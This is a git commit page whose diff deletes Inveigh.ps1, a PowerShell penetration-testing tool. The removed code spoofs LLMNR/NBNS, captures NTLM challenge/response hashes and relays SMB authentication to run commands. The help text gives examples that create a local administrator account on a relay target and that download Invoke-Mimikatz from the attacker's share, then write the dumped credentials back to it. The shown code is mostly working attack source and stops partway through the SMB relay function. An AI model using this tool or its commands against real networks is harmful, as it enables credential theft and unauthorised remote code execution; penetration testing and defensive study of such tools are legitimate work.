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| author | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:56:53 -0400 |
|---|---|---|
| committer | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:56:53 -0400 |
| commit | 79839c2308f3d0ab9ed35e897fc404c7cfb12899 (patch) | |
| tree | 36984140cc742d42bf75a1d1a67ee981aa6ee096 /Inveigh.ps1 | |
| parent | 65c2df6a2b00d0b2514f84e3e5c514c073bdd6e3 (diff) | |
| download | Inveigh-79839c2308f3d0ab9ed35e897fc404c7cfb12899.tar.gz Inveigh-79839c2308f3d0ab9ed35e897fc404c7cfb12899.zip | |
Removed ps1 from main directory
Diffstat (limited to 'Inveigh.ps1')
| -rw-r--r-- | Inveigh.ps1 | 2251 |
1 files changed, 0 insertions, 2251 deletions
diff --git a/Inveigh.ps1 b/Inveigh.ps1 deleted file mode 100644 index d71fe4e..0000000 --- a/Inveigh.ps1 +++ /dev/null @@ -1,2251 +0,0 @@ -Function Invoke-Inveigh -{ -<# -.SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. - -.DESCRIPTION -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. - -.PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. - -.PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. - -.PARAMETER LLMNR -Default = Enabled: Enable/Disable LLMNR spoofing. - -.PARAMETER NBNS -Default = Disabled: Enable/Disable NBNS spoofing. - -.PARAMETER NBNSTypes -Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER Repeat -Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. - -.PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. -If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. - -.PARAMETER SMB -Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. -Block TCP ports 445/139 if you need to prevent login requests from being processed by the Inveigh host. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. - -.PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. - -.PARAMETER SMBRelay -Default = Disabled: Enable/Disable SMB relay. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. - -.PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. - -.PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. -Note that you will not see the various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. - -.PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. - -.PARAMETER RunTime -Set the run time duration in minutes. - -.PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Import-Module;Invoke-Inveigh -Import module and execute with all default settings. - -.EXAMPLE -. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 -Dot source load and execute specifying a specific local listening/spoofing IP. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -HTTP N -Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. - -.EXAMPLE -Invoke-Inveigh -Repeat N -ForceWPADAuth N -Execute with the stealthiest options. - -.EXAMPLE -Invoke-Inveigh -HTTP N -LLMNR N -Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server. - -.EXAMPLE -Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N -Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet. - -.EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. - -.EXAMPLE -Invoke-Inveigh -smbrelay y -smbrelaytarget 192.168.2.55 -smbrelaycommand "powershell \\192.168.2.50\temp$\powermeup.cmd" -Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. -Powermeup.cmd contents used for this example: -powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" -Original version: -https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd - -.NOTES -1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. -3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. -4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. -5. HTTP challenge/response captures are performed with a dedicated listener. -6. The local LLMNR/NBNS services do not need to be disabled on the host system. -7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. -9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. -10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. -11. SMB relay support is experimental at this point, use caution if employing on a pen test. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Default parameter values can be modified below -param -( - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMB="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$LLMNR="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][string]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$Repeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ForceWPADAuth="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", - [parameter(Mandatory=$false)][int]$RunTime="", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if(-not($IP)) -{ - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) -} - -if(-not($SpooferIP)) -{ - $SpooferIP = $IP -} - -if($SMBRelay -eq 'y') -{ - if(!$SMBRelayTarget) - { - Throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" - } - - if(!$SMBRelayCommand) - { - Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" - } -} - -if(-not($OutputDir)) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $OutputDir -} - -if(!$inveigh) -{ - $global:inveigh = [hashtable]::Synchronized(@{}) - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = @() - $inveigh.SMBRelay_failed_list = @() -} - -$inveigh.running = $false -$inveigh.sniffer_socket = $null - -if($inveigh.HTTP_listener.IsListening) -{ - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} - -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" -$inveigh.host = $host -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.SMB_relay_active_step = 0 -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.running = $true - -if($StatusOutput -eq 'y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive Powershell -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" - $ShowHelp = "N" -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -if($inveigh.status_output) -{ - $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null - - if($FileOutput -eq 'y') - { - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append - } - - $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null - $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null - - if($LLMNR -eq 'y') - { - $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null - $LLMNR_response_message = "- spoofed response has been sent" - } - else - { - $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null - $LLMNR_response_message = "- LLMNR spoofing is disabled" - } - - if($NBNS -eq 'y') - { - $NBNSTypes_output = $NBNSTypes -join "," - - if($NBNSTypes.Count -eq 1) - { - $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null - } - - $NBNS_response_message = "- spoofed response has been sent" - } - else - { - $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null - $NBNS_response_message = "- NBNS spoofing is disabled" - } - - if($Repeat -eq 'n') - { - $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null - } - - if($HTTP -eq 'y') - { - $inveigh.HTTP = $true - $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null - } - else - { - $inveigh.HTTP = $false - $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null - } - - if($HTTPS -eq 'y') - { - try - { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null - $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null - } - catch - { - $certificate_store.Close() - $HTTPS="N" - $inveigh.HTTPS = $false - $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null - } - } - else - { - $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null - } - - if($Challenge) - { - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null - } - - if($SMB -eq 'y') - { - $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null - } - - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null - } - - if($ForceWPADAuth -eq 'y') - { - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null - } - - if($SMBRelay -eq 'y') - { - $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null - $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null - - if($SMBRelayUsernames.Count -gt 0) - { - $SMBRelayUsernames_output = $SMBRelayUsernames -join "," - - if($SMBRelayUsernames.Count -eq 1) - { - $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null - } - } - - if($SMBRelayAutodisable -eq 'y') - { - $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null - } - - if($SMBRelayNetworkTimeout) - { - $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null - } - - $inveigh.SMB_relay = $true - } - else - { - $inveigh.status_queue.add("SMB Relay Disabled")|Out-Null - $inveigh.SMB_relay = $false - } - - if($ConsoleOutput -eq 'y') - { - $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null - $inveigh.console_output = $true - } - else - { - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null - } - else - { - $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null - } - } - - if($FileOutput -eq 'y') - { - $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null - $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null - $inveigh.file_output = $true - } - else - { - $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null - } - - if($RunTime -eq 1) - { - $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null - } - elseif($RunTime -gt 1) - { - $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null - } - - if($ShowHelp -eq 'y') - { - $inveigh.status_queue.add("Run Get-InveighHelp to show available cmdlets")|Out-Null - $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null - - if($inveigh.console_output) - { - $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null - } - } - - while($inveigh.status_queue.Count -gt 0) - { - if($inveigh.output_stream_only) - { - write-output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - switch ($inveigh.status_queue[0]) - { - "Run Stop-Inveigh to stop Inveigh" - { - write-warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - default - { - write-output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - } - } - } -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id -$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} - -# Begin ScriptBlocks - -# Shared Basic Functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - Function DataToUInt16($field) - { - [Array]::Reverse($field) - return [BitConverter]::ToUInt16($field,0) - } - - Function DataToUInt32($field) - { - [Array]::Reverse($field) - return [BitConverter]::ToUInt32($field,0) - } - - Function DataLength - { - param ([int]$length_start,[byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - Function DataToString - { - param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response -$SMB_NTLM_functions_scriptblock = -{ - Function SMBNTLMChallenge - { - param ([byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - - Function SMBNTLMResponse - { - param ([byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - $NTLM_bytes_index = $NTLM_index / 2 - - if($payload.SubString(($NTLM_index + 16),8) -eq "03000000") - { - $LM_length = DataLength ($NTLM_bytes_index + 12) $payload_bytes - $LM_offset = $payload_bytes[($NTLM_bytes_index + 16)] - - if($LM_length -ge 24) - { - $NTLM_length = DataLength ($NTLM_bytes_index + 20) $payload_bytes - $NTLM_offset = $payload_bytes[($NTLM_bytes_index + 24)] - - $NTLM_domain_length = DataLength ($NTLM_bytes_index + 28) $payload_bytes - $NTLM_domain_offset = DataLength ($NTLM_bytes_index + 32) $payload_bytes - $NTLM_domain_string = DataToString $NTLM_domain_length 0 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - - $NTLM_user_length = DataLength ($NTLM_bytes_index + 36) $payload_bytes - $NTLM_user_string = DataToString $NTLM_user_length $NTLM_domain_length 0 ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - - $NTLM_host_length = DataLength ($NTLM_bytes_index + 44) $payload_bytes - $NTLM_host_string = DataToString $NTLM_host_length $NTLM_user_length $NTLM_domain_length ($NTLM_bytes_index + $NTLM_domain_offset) $payload_bytes - - if(([BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $LM_length - 1)]) -replace "-","") -eq ("00" * $LM_length)) - { - $NTLMv2_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $NTLM_offset)..($NTLM_bytes_index + $NTLM_offset + $NTLM_length - 1)]) -replace "-","" - $NTLMv2_response = $NTLMv2_response.Insert(32,':') - $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - - if(($source_IP -ne $IP) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $NTLM_user_string.EndsWith('$'))))) - { - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv2_file_queue.add($NTLMv2_hash) - $inveigh.NTLMv2_list.add($NTLMv2_hash) - $inveigh.console_queue.add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") - - if($inveigh.file_output) - { - $inveigh.console_queue.add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - } - } - else - { - $NTLMv1_response = [System.BitConverter]::ToString($payload_bytes[($NTLM_bytes_index + $LM_offset)..($NTLM_bytes_index + $LM_offset + $NTLM_length + $LM_length - 1)]) -replace "-","" - $NTLMv1_response = $NTLMv1_response.Insert(48,':') - $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLMv1_response + ":" + $NTLM_challenge - - if(($source_IP -ne $IP) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $NTLM_user_string.EndsWith('$'))))) - { - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv1_file_queue.add($NTLMv1_hash) - $inveigh.NTLMv1_list.add($NTLMv1_hash) - $inveigh.console_queue.add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") - - if($inveigh.file_output) - { - $inveigh.console_queue.add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - } - } - - if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n') -and ($source_IP -ne $IP)) - { - $inveigh.IP_capture_list += $source_IP - } - } - } - } -} - -# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target -$SMB_relay_challenge_scriptblock = -{ - Function SMBRelayChallenge - { - param ($SMB_relay_socket,$HTTP_request_bytes) - - if ($SMB_relay_socket) - { - $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 - $i = 0 - - :SMB_relay_challenge_loop while ($i -lt 2) - { - switch ($i) - { - 0 { - [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00) - } - - 1 { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) - $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [array]::Reverse($SMB_netbios_length) - - [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` - + $SMB_netbios_length` - + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + $SMB_blob_length` - + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` - + $SMB_byte_count` - + (0x60)` - + $SMB_length_1` - + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)` - + $SMB_length_2` - + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)` - + $SMB_length_3` - + (0x04)` - + $SMB_NTLMSSP_length` - + $HTTP_request_bytes` - + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - } - } - - $SMB_relay_challenge_stream.write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) - $SMB_relay_challenge_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_challenge_stream.DataAvailable) - { - if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_challenge_loop - } - } - } - - $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length) - - $i++ - } - - return $SMB_relay_challenge_bytes - } -} - -# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target -$SMB_relay_response_scriptblock = -{ - Function SMBRelayResponse - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) - - $SMB_relay_response_bytes = New-Object System.Byte[] 1024 - - if ($SMB_relay_socket) - { - $SMB_relay_response_stream = $SMB_relay_socket.GetStream() - } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) - $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [array]::Reverse($SMB_netbios_length) - - $j = 0 - - :SMB_relay_response_loop while ($j -lt 1) - { - [Byte[]] $SMB_relay_response_send = (0x00,0x00)` - + 